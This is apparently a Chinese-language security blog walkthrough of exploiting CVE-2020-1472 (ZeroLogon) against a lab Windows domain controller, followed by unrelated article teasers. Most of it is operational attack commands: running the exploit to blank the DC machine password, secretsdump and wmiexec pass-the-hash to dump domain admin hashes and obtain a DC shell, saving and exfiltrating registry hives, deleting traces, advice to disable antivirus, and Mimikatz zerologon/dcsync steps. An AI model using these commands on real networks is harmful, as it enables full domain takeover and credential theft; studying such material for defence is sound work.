CVE-2020-1472攻击过程

VSole2021-12-17 16:42:22

漏洞介绍

在去年9月份,国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情,网上也随即公开了Exp。

是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。

该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。CVE-2020-1472来重置域控密码。

注意,这里是域控密码,不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016\$),在本地的用户名是SYSTEM。

在拥有域控的机器用户密码的情况下,并不能直接使用该密码登录域控,因为机器用户是不可以登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync。

环境

攻击机 windows 10

域控服务器 windows server 2012 192.168.139.147

python 3.8

准备工具

  • https://github.com/VoidSec/CVE-2020-1472
  • https://github.com/maaaaz/impacket-examples-windows 【这是下面包中脚本转成的exe】
  • https://github.com/SecureAuthCorp/impacket

impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,并不是release中,或者pip中直接指定的

建议:git clone 

https://github.com/SecureAuthCorp/impacket.git

当然也可以直接:

其次如果使用的linux,执行脚本在出现$之类的特殊字符需要\转义,我在window下执行,没遇到这个问题,域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图:


关于坑点

在windows中有python启动器,py -3指定使用python3,防止选错python版本。

安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版。

安装过程

先卸载旧版本

py -3 -m pip uninstall impacket

安装新版本

git clone https://github.com/SecureAuthCorp/impacketcd impacketpy -3 setup.py install

报错说明

AttributeError:

module'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决。

secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点计算机名确认。

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没。

利用

环境准备就绪以后,运行exp,记得关杀软

py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150-n 计算机名-t 域控ip

检测到存在漏洞,Y继续清空域控密码

成功之后用刚刚下载的

impacket-examples-windows

通过secretsdump.exe dump 域管 hash

.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150-no-pass 无密码登录-just-dc 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)DC$@192.168.1.150 计算机名$@域控ip

获取域控机器shell 和 导出域控计算机帐户的原始NT哈希

hashes 域管理员的nthash:lmhash.\wmiexec.exe–hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95abtest.com/administrator@192.168.1.150

此时会返回一个交互式域控shell

本地保存文件

reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.save

下载文件

get system.saveget sam.saveget security.save

擦屁股

del /f system.savedel /f sam.savedel /f security.save

读取下载的文件计算原本的机器用户密码

.\ secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL


随后把密码锤回去,这里使用的值是$MACHINE.ACC: 后的hash



.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150-no-pass 无密码登录-just-dc 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)DC$@192.168.1.150 计算机名$@域控ip


Mimikatz利用方式

探测是否存在漏洞

lsadump::zerologon/target:192.168.1.150 /account?C$lsadump::zerologon/target:192.168.1.150 /account?C$ /exploit 攻击

lsadump::dcsync /domain:test.com /dc?C /user:Administrator/authuser?C$/authdomain:test/authpassword:""/authntlm

----通过dcsync dump域管hash

提升权限注入会话

privilege::debugsekurlsa::pth/user:Administrator/doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab

在注入会话的窗口打开mimikatz 恢复机器用户密码 随后可以开始下一步操作

lsadump::postzerologon /target:192.168.1.150 /account?C$

参考:

1.https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1

2.https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ

system
本作品采用《CC 协议》,转载必须注明作者和本文链接
Systemctl 介绍Systemctl是一个systemd工具,主要负责控制systemd系统和服务管理器。Systemd的功能是用于集中管理和配置类UNIX系统。在Linux生态系统中,Systemd被部署到了大多数的标准Linux发行版中,只有为数不多的几个发行版尚未部署。Systemd通常是所有其它守护进程的父进程,但并非总是如此。开始Systemd和Systemctl 基础工具之旅01、首先检查系统上是否安装了systemd以及当前安装的Systemd的版本是什么?
之后想到了更完美的办法
一个未知的威胁行为者与对南非一家发电公司的网络攻击有关,SystemBC恶意软件的一种新变种称为DroxiDat,是可疑勒索软件攻击的前兆。
发现漏洞七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入在用户名里输入admin’,不负期望地报了错很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。漏洞验证打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。
闲来无事,我上网随便找了一个驱动来进行测试。
美国国防巨头Elbit Systems子公司Elbit Systems of America在Black Basta勒索软件团伙宣称入侵后披露数据泄露事件。
SystemInformer是一款功能强大的系统安全检测工具,该工具功能十分强大,不仅可以帮助广大研究人员监控系统资源,而且还支持软件调试和恶意软件检测。
又是一个深夜,记录前段时间测试的过程。唉,每次小有所学就要懈怠一会。全文高强度打码。 0x00 一个登录框 使用google hacking语法,翻了一翻,锁定了目标范围内一个看起来普普通通的登录页面。
北京新云东方系统科技有限公司称,IBM无视保密协议,为新合资企业(与浪潮集团一起)谋取客户信息。 目前,该公司已经向美国纽约南区地方法院提起了诉讼。 早在2014年,华胜天成就与IBM中国合资成立北京新云东方系统科技有限公司(以下简称“新云系统”),主要负责基于Linux on Power相关的硬件和软件产品的开发,以及向当地市场销售IBM Power Systems 服务器。IBM持有新云系
VSole
网络安全专家